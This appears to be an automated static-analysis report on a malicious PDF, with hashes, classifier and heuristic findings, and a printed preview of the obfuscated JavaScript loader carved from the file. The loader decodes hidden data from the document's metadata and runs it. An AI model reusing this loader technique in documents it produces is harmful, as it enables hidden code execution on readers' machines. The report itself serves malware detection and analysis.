Malicious PDF — malware analysis report

Static analysis result for SHA-256 1a8683bbd627d201…

MALICIOUS

PDF

18.2 KB Created: 2011-72-51 03:25:00 Authoring application: String.fromCharCode First seen: 2026-05-08
MD5: 642b760ec9ee4d1e5ceaf853056b7021 SHA-1: ba45250d7526c6f60295235712a6a6645902811b SHA-256: 1a8683bbd627d20186761fe9deebb3f82a29462772efc9eeb9245026794cb89b
114 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    /Producer (String.fromCharCode)
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x4686 365 bytes
SHA-256: f9b32e7e1786ef4b71fa296b837b3e810efe136e10c64c2412c51519ef6c511d
Preview script
First 1,000 lines of the extracted script
var w = 4;
var jltvu = this.title.replace(/w/g,'*w,');
jltvu = jltvu.replace(/t/g,'2');
jltvu=jltvu.substr(0,jltvu.length-2) + ']';
xplk=function(){return function(){return this}()}();
err=xplk[this.subject];
azfn=err(this.producer);
zzdfs = err(jltvu);
var s = '';
for (i = 0; i < zzdfs.length; i++) {
	euan = zzdfs[i];
	s += azfn(euan);
}
err(s);

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